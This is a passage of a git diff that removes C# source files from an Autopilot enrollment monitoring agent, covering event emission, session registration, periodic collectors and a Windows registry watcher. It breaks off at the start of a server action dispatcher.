_remoteConfigService?.CurrentConfig?.AllowAgentDowngrade ?? false; - - Task.Run(async () => - { - try - { - _logger.Info($"Self-update: triggering forced update due to runtime hash mismatch (allowDowngrade={allowDowngrade})"); - await RuntimeSelfUpdateTriggerAsync(zipHash, allowDowngrade).ConfigureAwait(false); - _logger.Warning("Self-update: returned without restart — update did not apply, agent continues with stale binary"); - } - catch (Exception ex) - { - _logger.Error("Self-update: unexpected failure during forced update", ex); - } - }); - } - - private void ApplyRuntimeSettingsFromRemoteConfig() - { - var config = _remoteConfigService?.CurrentConfig; - if (config == null) return; - - _configuration.UploadIntervalSeconds = config.UploadIntervalSeconds; - _configuration.SelfDestructOnComplete = config.SelfDestructOnComplete; - _configuration.KeepLogFile = config.KeepLogFile; - _configuration.EnableGeoLocation = config.EnableGeoLocation; - - // ImeMatchLog: use default path when enabled - _configuration.ImeMatchLogPath = config.EnableImeMatchLog - ? Environment.ExpandEnvironmentVariables(Constants.ImeMatchLogPath) - : null; - - _configuration.MaxAuthFailures = config.MaxAuthFailures; - _configuration.AuthFailureTimeoutMinutes = config.AuthFailureTimeoutMinutes; - _configuration.RebootOnComplete = config.RebootOnComplete; - _configuration.RebootDelaySeconds = config.RebootDelaySeconds; - _configuration.MaxBatchSize = config.MaxBatchSize; - _configuration.DiagnosticsUploadEnabled = config.DiagnosticsUploadEnabled; - _configuration.DiagnosticsUploadMode = config.DiagnosticsUploadMode; - _configuration.DiagnosticsLogPaths = config.DiagnosticsLogPaths ?? new System.Collections.Generic.List(); - - // Apply log level from remote config - if (Enum.TryParse(config.LogLevel, ignoreCase: true, out var remoteLogLevel)) - { - var oldLogLevel = _configuration.LogLevel; - _configuration.LogLevel = remoteLogLevel; - _logger.SetLogLevel(remoteLogLevel); - if (oldLogLevel != remoteLogLevel) - _logger.Info($"Log level changed: {oldLogLevel} -> {remoteLogLevel}"); - } - - _configuration.ShowEnrollmentSummary = config.ShowEnrollmentSummary; - _configuration.EnrollmentSummaryTimeoutSeconds = config.EnrollmentSummaryTimeoutSeconds; - _configuration.EnrollmentSummaryBrandingImageUrl = config.EnrollmentSummaryBrandingImageUrl; - _configuration.EnrollmentSummaryLaunchRetrySeconds = config.EnrollmentSummaryLaunchRetrySeconds; - _configuration.NtpServer = config.NtpServer; - _configuration.EnableTimezoneAutoSet = config.EnableTimezoneAutoSet; - _configuration.SendTraceEvents = config.SendTraceEvents; - AuditUnrestrictedModeChange(config); - _collectorCoordinator?.UpdateSendTraceEvents(config.SendTraceEvents); - - _logger.Info("Applied runtime settings from remote config"); - _logger.Info($" uploadIntervalSeconds={_configuration.UploadIntervalSeconds}, selfDestructOnComplete={_configuration.SelfDestructOnComplete}, keepLogFile={_configuration.KeepLogFile}"); - _logger.Info($" enableGeoLocation={_configuration.EnableGeoLocation}, imeMatchLogPath={_configuration.ImeMatchLogPath ?? "(disabled)"}"); - _logger.Info($" maxAuthFailures={_configuration.MaxAuthFailures}, authFailureTimeoutMinutes={_configuration.AuthFailureTimeoutMinutes}"); - _logger.Info($" logLevel={_configuration.LogLevel}, rebootOnComplete={_configuration.RebootOnComplete}, maxBatchSize={_configuration.MaxBatchSize}"); - _logger.Info($" showEnrollmentSummary={_configuration.ShowEnrollmentSummary}, summaryTimeoutSeconds={_configuration.EnrollmentSummaryTimeoutSeconds}"); - _logger.Info($" ntpServer={_configuration.NtpServer}, enableTimezoneAutoSet={_configuration.EnableTimezoneAutoSet}"); - } - - private void AuditUnrestrictedModeChange(AgentConfigResponse config) - { - var previous = _configuration.UnrestrictedMode; - _configuration.UnrestrictedMode = config.UnrestrictedMode; - - if (_isFirstConfigApply) - { - _isFirstConfigApply = false; - if (config.UnrestrictedMode) - { - // Defer initial security_audit until after agent_started so sequence numbers are correct - _logger.Info("UnrestrictedMode enabled via tenant configuration (initial config) — audit deferred until after agent_started"); - _deferredSecurityAuditConfigVersion = config.ConfigVersion; - } - } - else if (config.UnrestrictedMode != previous) - { - if (config.UnrestrictedMode) - { - // Runtime activation — potential manipulation, emit Critical - _logger.Warning($"SECURITY: UnrestrictedMode changed to TRUE during runtime (configVersion={config.ConfigVersion})"); - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - EventType = "security_audit", - Severity = EventSeverity.Critical, - Source = "MonitoringService", - Message = "UnrestrictedMode activated during runtime — potential config manipulation", - Data = new Dictionary - { - ["unrestrictedMode"] = true, - ["previousValue"] = false, - ["source"] = "config_refresh", - ["configVersion"] = config.ConfigVersion - }, - ImmediateUpload = true - }); - } - else - { - _logger.Info("UnrestrictedMode disabled during runtime"); - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - EventType = "security_audit", - Severity = EventSeverity.Info, - Source = "MonitoringService", - Message = "UnrestrictedMode deactivated during runtime", - Data = new Dictionary - { - ["unrestrictedMode"] = false, - ["previousValue"] = true, - ["source"] = "config_refresh", - ["configVersion"] = config.ConfigVersion - }, - ImmediateUpload = true - }); - } - } - } - - /// - /// Consumes any self-update markers left by SelfUpdater and emits a single - /// agent_version_check event. Three marker variants map to the outcomes: - /// - /// self-update-info.json → outcome=updated - /// self-update-skipped.json → outcome=skipped or check_failed - /// self-update-checked.json → outcome=up_to_date (subject to session-scoped dedup) - /// - /// Best-effort — failures are logged but never block startup. See - /// for the pure logic + dedup rules. - /// - private void EmitVersionCheckEventFromMarkers() - { - var result = VersionCheckEventBuilder.TryBuild( - _configuration.SessionId, - _configuration.TenantId, - _agentStartTimeUtc); - - if (!string.IsNullOrEmpty(result.ParseError)) - { - _logger.Warning($"Could not process version-check marker: {result.ParseError}"); - return; - } - - if (result.Deduped) - { - _logger.Verbose($"agent_version_check skipped (dedup: up_to_date, same session, same latestVersion)"); - return; - } - - if (result.Event != null) - { - _logger.Info($"Agent version check: outcome={result.Outcome}"); - EmitEvent(result.Event); - } - } - - // ────────────────────────────────────────────────────────────────── - // Event emission (central nerve — all collectors route through here) - // ────────────────────────────────────────────────────────────────── - - public void EmitEvent(EnrollmentEvent evt) - { - evt.Sequence = Interlocked.Increment(ref _eventSequence); - _spool.Add(evt); - if (evt.Severity <= EventSeverity.Debug) - _logger.Verbose($"Event emitted: {evt.EventType} - {evt.Message}"); - else - _logger.Info($"Event emitted: {evt.EventType} - {evt.Message}"); - - // Track real enrollment activity for idle timeout - if (!string.IsNullOrEmpty(evt.EventType) && !CollectorCoordinator.IsPeriodicEvent(evt.EventType)) - { - _collectorCoordinator?.OnRealEventReceived(); - } - - // Persist sequence periodically (every 50 events) + always on critical events - if (evt.Sequence % 50 == 0 || - evt.EventType == "whiteglove_complete" || - evt.EventType == "enrollment_complete" || - evt.EventType == "enrollment_failed") - { - _sessionPersistence.SaveSequence(evt.Sequence); - } - - // Cancel max lifetime timer on terminal events - if (evt.EventType == "whiteglove_complete" || - evt.EventType == "enrollment_complete" || - evt.EventType == "enrollment_failed") - { - _enrollmentTerminalEventSeen = true; - _collectorCoordinator?.CancelMaxLifetimeTimer(); - } - - // Track phase transitions for logging and gather rule notifications - if (evt.Phase != _lastPhase) - { - if (evt.Phase == EnrollmentPhase.Unknown) - _logger.Debug($"Phase transition: {_lastPhase?.ToString() ?? "null"} -> {evt.Phase}"); - else - _logger.Info($"Phase transition: {_lastPhase?.ToString() ?? "null"} -> {evt.Phase}"); - _lastPhase = evt.Phase; - - _collectorCoordinator?.OnPhaseChanged(evt.Phase); - } - - // Notify gather rule executor of event type (for on_event triggers) - if (!string.IsNullOrEmpty(evt.EventType)) - { - _collectorCoordinator?.OnEvent(evt.EventType); - } - - // Check for WhiteGlove completion — agent exits gracefully, session stays open - if (evt.EventType == "whiteglove_complete") - { - _logger.Info("WhiteGlove pre-provisioning complete. Starting graceful shutdown sequence."); - - _collectorCoordinator.StopPerformanceCollectorOnly(); - _collectorCoordinator.StopEventCollectors(); - _spool.StopWatching(); - _uploadOrchestrator.StopTimers(); - - Task.Run(() => _completionHandler.HandleWhiteGloveComplete( - () => _collectorCoordinator.StopEventCollectors(), - part => _collectorCoordinator.RunShutdownAnalyzers(part), - () => Interlocked.Read(ref _eventSequence))); - - return; - } - - // Check for enrollment completion events - if (evt.EventType == "enrollment_complete" || evt.EventType == "enrollment_failed") - { - var enrollmentSucceeded = evt.EventType == "enrollment_complete"; - _logger.Info($"Enrollment completion detected: {evt.EventType}"); - - _completionHandler.DeleteSessionId(); - - _logger.Info("Stopping all collectors after enrollment completion..."); - _collectorCoordinator.StopEventCollectors(); - _uploadOrchestrator.StopTimers(); - - Task.Run(async () => - { - try - { - await _uploadOrchestrator.UploadEventsAsync(); - _logger.Info("Final event upload after enrollment completion done"); - } - catch (Exception ex) - { - _logger.Warning($"Final upload after enrollment completion failed: {ex.Message}"); - } - }); - - Task.Run(() => _completionHandler.HandleEnrollmentComplete( - enrollmentSucceeded, _isWhiteGlovePart2, - () => _collectorCoordinator.StopEventCollectors(), - part => _collectorCoordinator.RunShutdownAnalyzers(part))); - return; - } - - // Immediate upload when explicitly requested by the emitter, or as a safety net for - // unhandled errors. All other events batch via the debounce timer. - if (evt.ImmediateUpload || evt.Severity >= EventSeverity.Error) - { - _logger.Info($"Triggering immediate upload for {evt.EventType} (bypassing debounce)"); - Task.Run(() => _uploadOrchestrator.UploadEventsAsync()); - } - } - - private void EmitTraceEvent(string source, string decision, string reason, Dictionary context = null) - { - _logger.Trace($"{source}: {decision} — {reason}"); - - if (!_configuration.SendTraceEvents) - return; - - var data = new Dictionary - { - { "decision", decision }, - { "reason", reason } - }; - if (context != null) - { - foreach (var kvp in context) - data[kvp.Key] = kvp.Value; - } - - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - EventType = "agent_trace", - Severity = EventSeverity.Trace, - Source = source, - Phase = EnrollmentPhase.Unknown, - Message = $"{decision}: {reason}", - Data = data - }); - } - - private void EmitShutdownEvent(string reason, string message, Dictionary extraData = null) - { - var data = new Dictionary - { - { "reason", reason }, - { "agentVersion", _agentVersion }, - { "uptimeMinutes", Math.Round((DateTime.UtcNow - _agentStartTimeUtc).TotalMinutes, 1) } - }; - if (extraData != null) - { - foreach (var kvp in extraData) - data[kvp.Key] = kvp.Value; - } - - EmitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "agent_shutdown", - Severity = EventSeverity.Info, - Source = "Agent", - Phase = _lastPhase ?? EnrollmentPhase.Unknown, - Message = message, - Data = data - }); - } - - // ────────────────────────────────────────────────────────────────── - // Session registration - // ────────────────────────────────────────────────────────────────── - - /// - /// Registers the session with the backend. Returns true on success, false on final failure. - /// On failure, collectors MUST NOT be started to prevent orphaned events. - /// - private async Task RegisterSessionAsync() - { - const int maxAttempts = 5; - - var registration = new SessionRegistration - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - SerialNumber = DeviceInfoProvider.GetSerialNumber(), - Manufacturer = DeviceInfoProvider.GetManufacturer(), - Model = DeviceInfoProvider.GetModel(), - DeviceName = Environment.MachineName, - OsName = DeviceInfoProvider.GetOsName(), - OsBuild = DeviceInfoProvider.GetOsBuild(), - OsDisplayVersion = DeviceInfoProvider.GetOsDisplayVersion(), - OsEdition = DeviceInfoProvider.GetOsEdition(), - OsLanguage = System.Globalization.CultureInfo.CurrentCulture.Name, - StartedAt = DateTime.UtcNow, - AgentVersion = _agentVersion, - EnrollmentType = EnrollmentTracker.DetectEnrollmentTypeStatic(), - IsHybridJoin = EnrollmentTracker.DetectHybridJoinStatic(), - IsUserDriven = true - }; - - for (int attempt = 1; attempt <= maxAttempts; attempt++) - { - try - { - _logger.Info($"Registering session with backend (attempt {attempt}/{maxAttempts})"); - - var response = await _apiClient.RegisterSessionAsync(registration); - - if (response.Success) - { - _logger.Info($"Session registered successfully: {response.SessionId}"); - - // Reconcile registry-detected enrollment type with the backend's authoritative - // validator verdict. Mismatches emit an enrollment_type_mismatch warning event - // and live-switch the flow handler on the EnrollmentTracker. - try - { - _collectorCoordinator?.ReconcileWithBackendValidator(response.ValidatedBy); - } - catch (Exception reconcileEx) - { - _logger.Warning($"ReconcileWithBackendValidator failed (non-fatal): {reconcileEx.Message}"); - } - - if (!string.IsNullOrEmpty(response.AdminAction)) - { - _logger.Warning($"Session already marked as {response.AdminAction} by administrator — will run cleanup after startup"); - _pendingAdminAction = response.AdminAction; - } - - await Security.BootstrapConfigCleanup.TryDeleteIfCertReadyAsync( - _configuration, - _logger, - _agentVersion).ConfigureAwait(false); - - return true; - } - - _logger.Warning($"Session registration failed: {response.Message}"); - } - catch (BackendAuthException ex) - { - _logger.Error($"Session registration authentication failed: {ex.Message}"); - _uploadOrchestrator.HandleAuthFailure(ex.StatusCode); - return false; - } - catch (Exception ex) - { - _logger.Error($"Failed to register session (attempt {attempt}/{maxAttempts})", ex); - - if (attempt == maxAttempts) - { - _ = _emergencyReporter.TrySendAsync( - AgentErrorType.RegisterSessionFailed, - ex.Message); - return false; - } - } - - var delaySeconds = (int)Math.Pow(2, attempt); - _logger.Info($"Retrying session registration in {delaySeconds}s"); - await Task.Delay(delaySeconds * 1000); - } - - return false; - } - - // ────────────────────────────────────────────────────────────────── - // Lifecycle (Stop, WaitForCompletion, TriggerCleanup, Dispose) - // ────────────────────────────────────────────────────────────────── - - public void Stop() - { - _logger.Info("Stopping monitoring service"); - - _spool.StopWatching(); - _collectorCoordinator.StopEventCollectors(); - _collectorCoordinator.RunShutdownAnalyzers(); - - EmitShutdownEvent("manual_stop", "Autopilot Monitor Agent stopped"); - - _uploadOrchestrator.UploadEventsAsync().Wait(TimeSpan.FromSeconds(10)); - - _logger.Info("Monitoring service stopped"); - _completionEvent.Set(); - } - - public void WaitForCompletion() - { - _completionEvent.Wait(); - } - - public void TriggerCleanup() - { - _logger.Info("TriggerCleanup invoked - executing cleanup without enrollment monitoring"); - - if (_configuration.SelfDestructOnComplete) - { - _cleanupService.ExecuteSelfDestruct(); - } - else - { - _logger.Info("SelfDestructOnComplete is disabled - nothing to clean up"); - } - } - - public void Dispose() - { - _uploadOrchestrator?.Dispose(); - _collectorCoordinator?.Dispose(); - _apiClient?.Dispose(); - _spool?.Dispose(); - _remoteConfigService?.Dispose(); - _distressReporter?.Dispose(); - _completionEvent.Dispose(); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/PeriodicCollectorManager.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/PeriodicCollectorManager.cs deleted file mode 100644 index a83d1136..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/PeriodicCollectorManager.cs +++ /dev/null @@ -1,311 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Threading; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Manages periodic collectors (PerformanceCollector, AgentSelfMetricsCollector) and their - /// idle lifecycle: stops them after inactivity, restarts when real enrollment activity resumes. - /// - public class PeriodicCollectorManager : IDisposable - { - private readonly AgentConfiguration _configuration; - private readonly AgentLogger _logger; - private readonly string _agentVersion; - private readonly Action _emitEvent; - private readonly BackendApiClient _apiClient; - private readonly EventSpool _spool; - private readonly RemoteConfigService _remoteConfigService; - - private PerformanceCollector _performanceCollector; - private AgentSelfMetricsCollector _agentSelfMetricsCollector; - - private DateTime _lastRealEventTime = DateTime.UtcNow; - private bool _collectorsIdleStopped; - private int _collectorIdleTimeoutMinutes = 15; - private Timer _idleCheckTimer; - - /// - /// Optional reference to the StallProbeCollector for resetting/running probes - /// during idle checks. Set after creation in StartOptionalCollectors. - /// - public StallProbeCollector StallProbeCollector { get; set; } - - public PeriodicCollectorManager( - AgentConfiguration configuration, - AgentLogger logger, - string agentVersion, - Action emitEvent, - BackendApiClient apiClient, - EventSpool spool, - RemoteConfigService remoteConfigService) - { - _configuration = configuration; - _logger = logger; - _agentVersion = agentVersion; - _emitEvent = emitEvent; - _apiClient = apiClient; - _spool = spool; - _remoteConfigService = remoteConfigService; - } - - /// - /// Whether periodic collectors are currently paused due to idle timeout. - /// - public bool CollectorsIdleStopped => _collectorsIdleStopped; - - /// - /// Starts the performance and metrics collectors and arms the idle check timer. - /// Called from CollectorCoordinator.StartOptionalCollectors. - /// - public void Start() - { - var config = _remoteConfigService?.CurrentConfig; - var collectors = config?.Collectors; - - var perfInterval = collectors?.PerformanceIntervalSeconds ?? 60; - _performanceCollector = new PerformanceCollector( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - perfInterval - ); - _performanceCollector.Start(); - _logger.Info($"PerformanceCollector started (interval={perfInterval}s)"); - - if (collectors?.EnableAgentSelfMetrics != false) - { - var selfMetricsInterval = collectors?.AgentSelfMetricsIntervalSeconds ?? 60; - _agentSelfMetricsCollector = new AgentSelfMetricsCollector( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _apiClient.NetworkMetrics, - _spool, - _logger, - _agentVersion, - selfMetricsInterval - ); - _agentSelfMetricsCollector.Start(); - _logger.Info($"AgentSelfMetricsCollector started (interval={selfMetricsInterval}s)"); - } - - _collectorIdleTimeoutMinutes = collectors?.CollectorIdleTimeoutMinutes ?? 15; - _lastRealEventTime = DateTime.UtcNow; - _collectorsIdleStopped = false; - - _idleCheckTimer = new Timer( - IdleCheckCallback, - null, - TimeSpan.FromSeconds(60), - TimeSpan.FromSeconds(60) - ); - if (_collectorIdleTimeoutMinutes > 0) - _logger.Info($"Collector idle timeout enabled: {_collectorIdleTimeoutMinutes} min"); - else - _logger.Info("Collector idle timeout disabled (0)"); - } - - /// - /// Called when a non-periodic event is received. Updates idle tracking, - /// resets stall probes, and restarts paused collectors. - /// - public void OnRealEventReceived() - { - _lastRealEventTime = DateTime.UtcNow; - - try { StallProbeCollector?.ResetProbes(); } - catch (Exception ex) { _logger.Verbose($"StallProbeCollector.ResetProbes failed: {ex.Message}"); } - - if (_collectorsIdleStopped) - { - RestartPeriodicCollectors(); - } - } - - /// - /// Stops just the performance collector (used during WhiteGlove completion). - /// - public void StopPerformanceCollectorOnly() - { - _performanceCollector?.Stop(); - _performanceCollector?.Dispose(); - _performanceCollector = null; - } - - /// - /// Stops all periodic collectors and the idle check timer. - /// - public void Stop() - { - _idleCheckTimer?.Dispose(); - _idleCheckTimer = null; - - _performanceCollector?.Stop(); - _performanceCollector?.Dispose(); - _performanceCollector = null; - - _agentSelfMetricsCollector?.Stop(); - _agentSelfMetricsCollector?.Dispose(); - _agentSelfMetricsCollector = null; - } - - /// - /// Returns true for events generated by periodic timers (not real enrollment activity). - /// - public static bool IsPeriodicEvent(string eventType) - { - return eventType == "performance_snapshot" || - eventType == "agent_metrics_snapshot" || - eventType == "performance_collector_stopped" || - eventType == "agent_metrics_collector_stopped" || - eventType == Constants.EventTypes.StallProbeCheck || - eventType == Constants.EventTypes.StallProbeResult || - eventType == Constants.EventTypes.SessionStalled; - } - - private void IdleCheckCallback(object state) - { - var idleMinutes = (DateTime.UtcNow - _lastRealEventTime).TotalMinutes; - - try - { - StallProbeCollector?.CheckAndRunProbes(idleMinutes); - } - catch (Exception ex) - { - _logger.Error("StallProbeCollector.CheckAndRunProbes threw", ex); - } - - if (_collectorsIdleStopped) - return; - - if (idleMinutes < _collectorIdleTimeoutMinutes) - return; - - _logger.Info($"Collector idle timeout reached ({_collectorIdleTimeoutMinutes} min, idle for {idleMinutes:F0} min) — stopping periodic collectors"); - - if (_performanceCollector != null) - { - _performanceCollector.Stop(); - _performanceCollector.Dispose(); - _performanceCollector = null; - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "performance_collector_stopped", - Severity = EventSeverity.Info, - Source = "MonitoringService", - Phase = EnrollmentPhase.Unknown, - Message = $"Performance collector stopped after {_collectorIdleTimeoutMinutes} min idle (no real enrollment activity)", - Data = new Dictionary - { - { "reason", "idle_timeout" }, - { "idleTimeoutMinutes", _collectorIdleTimeoutMinutes }, - { "idleMinutes", Math.Round(idleMinutes, 1) } - } - }); - } - - if (_agentSelfMetricsCollector != null) - { - _agentSelfMetricsCollector.Stop(); - _agentSelfMetricsCollector.Dispose(); - _agentSelfMetricsCollector = null; - - _emitEvent(new EnrollmentEvent - { - SessionId = _configuration.SessionId, - TenantId = _configuration.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "agent_metrics_collector_stopped", - Severity = EventSeverity.Info, - Source = "MonitoringService", - Phase = EnrollmentPhase.Unknown, - Message = $"AgentSelfMetrics collector stopped after {_collectorIdleTimeoutMinutes} min idle (no real enrollment activity)", - Data = new Dictionary - { - { "reason", "idle_timeout" }, - { "idleTimeoutMinutes", _collectorIdleTimeoutMinutes }, - { "idleMinutes", Math.Round(idleMinutes, 1) } - } - }); - } - - _collectorsIdleStopped = true; - } - - private void RestartPeriodicCollectors() - { - var config = _remoteConfigService?.CurrentConfig; - var collectors = config?.Collectors; - - _logger.Info("Restarting periodic collectors — new enrollment activity detected after idle stop"); - - try - { - var perfInterval = collectors?.PerformanceIntervalSeconds ?? 60; - _performanceCollector = new PerformanceCollector( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _logger, - perfInterval - ); - _performanceCollector.Start(); - - if (collectors?.EnableAgentSelfMetrics != false) - { - var selfMetricsInterval = collectors?.AgentSelfMetricsIntervalSeconds ?? 60; - _agentSelfMetricsCollector = new AgentSelfMetricsCollector( - _configuration.SessionId, - _configuration.TenantId, - _emitEvent, - _apiClient.NetworkMetrics, - _spool, - _logger, - _agentVersion, - selfMetricsInterval - ); - _agentSelfMetricsCollector.Start(); - } - - _lastRealEventTime = DateTime.UtcNow; - _collectorsIdleStopped = false; - if (_collectorIdleTimeoutMinutes > 0) - { - _idleCheckTimer?.Change(TimeSpan.FromSeconds(60), TimeSpan.FromSeconds(60)); - } - - _logger.Info("Periodic collectors restarted successfully"); - } - catch (Exception ex) - { - _logger.Error("Error restarting periodic collectors", ex); - } - } - - public void Dispose() - { - _idleCheckTimer?.Dispose(); - _performanceCollector?.Dispose(); - _agentSelfMetricsCollector?.Dispose(); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/RegistryWatcher.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/RegistryWatcher.cs deleted file mode 100644 index 261bdbab..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/RegistryWatcher.cs +++ /dev/null @@ -1,311 +0,0 @@ -using System; -using System.ComponentModel; -using System.Threading; -using AutopilotMonitor.Agent.Core.Monitoring.Interop; -using Microsoft.Win32; -using Microsoft.Win32.SafeHandles; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Watches a registry key for changes using RegNotifyChangeKeyValue. - /// Raises Changed whenever the watched key/subtree changes. - /// - /// Notes: - /// - Notification is for the key scope, not one individual value. - /// - To track a specific value, read/compare that value in the Changed handler. - /// - Uses a dedicated background thread for robustness. - /// - internal sealed class RegistryWatcher : IDisposable - { - private readonly UIntPtr _hive; - private readonly string _subKey; - private readonly bool _watchSubtree; - private readonly RegistryView _view; - private readonly RegistryNativeMethods.RegChangeNotifyFilter _filter; - private readonly Action _trace; - - private readonly object _sync = new object(); - - private CancellationTokenSource _cts; - private Thread _thread; - private Exception _backgroundException; - private bool _disposed; - - public event EventHandler Changed; - public event EventHandler Error; - - /// Optional trace callback for diagnostic logging (called on every loop iteration). - public RegistryWatcher( - RegistryHive hive, - string subKey, - bool watchSubtree = false, - RegistryView view = RegistryView.Default, - RegistryNativeMethods.RegChangeNotifyFilter filter = - RegistryNativeMethods.RegChangeNotifyFilter.LastSet | - RegistryNativeMethods.RegChangeNotifyFilter.ThreadAgnostic, - Action trace = null) - { - _hive = HiveToPointer(hive); - _subKey = subKey ?? throw new ArgumentNullException(nameof(subKey)); - _watchSubtree = watchSubtree; - _view = view; - _filter = filter; - _trace = trace; - } - - public bool IsRunning - { - get - { - lock (_sync) - { - return _thread != null; - } - } - } - - public void Start() - { - ThrowIfDisposed(); - - lock (_sync) - { - if (_thread != null) - throw new InvalidOperationException("Watcher is already running."); - - _backgroundException = null; - _cts = new CancellationTokenSource(); - - _thread = new Thread(WatchThreadMain) - { - IsBackground = true, - Name = $"RegistryWatcher: {_subKey}" - }; - - _thread.Start(_cts.Token); - } - } - - /// - /// Requests stop without blocking. - /// Safe to call from Changed handlers. - /// - public void RequestStop() - { - lock (_sync) - { - _cts?.Cancel(); - } - } - - /// - /// Stops and waits for the watcher thread to exit. - /// Avoid calling from inside Changed; use RequestStop there. - /// - public void Stop() - { - Thread threadToJoin = null; - CancellationTokenSource ctsToDispose = null; - Exception backgroundException = null; - - lock (_sync) - { - if (_thread == null) - return; - - _cts.Cancel(); - threadToJoin = _thread; - } - - threadToJoin.Join(); - - lock (_sync) - { - backgroundException = _backgroundException; - - ctsToDispose = _cts; - _cts = null; - _thread = null; - _backgroundException = null; - } - - ctsToDispose?.Dispose(); - - if (backgroundException != null && - !(backgroundException is OperationCanceledException)) - { - throw new InvalidOperationException( - "Registry watcher stopped because the background thread failed.", - backgroundException); - } - } - - private void WatchThreadMain(object state) - { - var cancellationToken = (CancellationToken)state; - - try - { - WatchLoop(cancellationToken); - } - catch (OperationCanceledException ex) - { - lock (_sync) - { - _backgroundException = ex; - } - } - catch (Exception ex) - { - lock (_sync) - { - _backgroundException = ex; - } - - try - { - Error?.Invoke(this, ex); - } - catch - { - // Never let handler exceptions escape the background thread. - } - } - } - - private void WatchLoop(CancellationToken cancellationToken) - { - int samDesired = RegistryNativeMethods.GetSamDesired(_view); - - _trace?.Invoke($"RegOpenKeyEx '{_subKey}' (view: {_view}, sam: 0x{samDesired:X})"); - - int openResult = RegistryNativeMethods.RegOpenKeyEx( - _hive, - _subKey, - 0, - samDesired, - out SafeRegistryHandle keyHandle); - - if (openResult != 0) - { - throw new Win32Exception( - openResult, - $"RegOpenKeyEx failed for '{_subKey}' (view: {_view})."); - } - - _trace?.Invoke($"RegOpenKeyEx succeeded — handle valid: {!keyHandle.IsInvalid}"); - - using (keyHandle) - using (var changedEvent = new AutoResetEvent(false)) - using (var cancelEvent = new ManualResetEvent(false)) - using (cancellationToken.Register(() => cancelEvent.Set())) - { - WaitHandle[] waitHandles = { changedEvent, cancelEvent }; - int iteration = 0; - - while (!cancellationToken.IsCancellationRequested) - { - iteration++; - - _trace?.Invoke($"Iteration {iteration}: calling RegNotifyChangeKeyValue (subtree={_watchSubtree}, filter=0x{(uint)_filter:X})"); - - int notifyResult = RegistryNativeMethods.RegNotifyChangeKeyValue( - keyHandle, - _watchSubtree, - _filter, - changedEvent.SafeWaitHandle, - true); - - if (notifyResult != 0) - { - throw new Win32Exception( - notifyResult, - $"RegNotifyChangeKeyValue failed for '{_subKey}'."); - } - - _trace?.Invoke($"Iteration {iteration}: waiting for change notification..."); - - int signaled = WaitHandle.WaitAny(waitHandles); - - if (signaled == WaitHandle.WaitTimeout) - { - _trace?.Invoke($"Iteration {iteration}: WaitAny returned WaitTimeout — continuing"); - continue; - } - - if (signaled == 1) - { - _trace?.Invoke($"Iteration {iteration}: cancel event signaled — exiting loop"); - break; - } - - _trace?.Invoke($"Iteration {iteration}: change notification received — invoking Changed handler"); - - try - { - Changed?.Invoke(this, EventArgs.Empty); - } - catch (Exception ex) - { - try - { - Error?.Invoke(this, ex); - } - catch - { - // Ignore secondary error-handler failures. - } - } - - _trace?.Invoke($"Iteration {iteration}: Changed handler completed"); - } - - _trace?.Invoke("WatchLoop exiting (cancellation requested)"); - cancellationToken.ThrowIfCancellationRequested(); - } - } - - public void Dispose() - { - if (_disposed) - return; - - try - { - Stop(); - } - catch - { - // Dispose must not throw. - } - - _disposed = true; - } - - private void ThrowIfDisposed() - { - if (_disposed) - throw new ObjectDisposedException(nameof(RegistryWatcher)); - } - - private static UIntPtr HiveToPointer(RegistryHive hive) - { - switch (hive) - { - case RegistryHive.ClassesRoot: - return (UIntPtr)0x80000000u; - case RegistryHive.CurrentUser: - return (UIntPtr)0x80000001u; - case RegistryHive.LocalMachine: - return (UIntPtr)0x80000002u; - case RegistryHive.Users: - return (UIntPtr)0x80000003u; - case RegistryHive.CurrentConfig: - return (UIntPtr)0x80000005u; - default: - throw new ArgumentOutOfRangeException(nameof(hive)); - } - } - } -} \ No newline at end of file diff --git a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/ServerActionDispatcher.cs b/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/ServerActionDispatcher.cs deleted file mode 100644 index 2c062c21..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core/Monitoring/Runtime/ServerActionDispatcher.cs +++ /dev/null @@ -1,223 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Shared.Models; - -namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime -{ - /// - /// Executes server-issued actions delivered via ingest responses. - /// - /// Design notes: - /// - 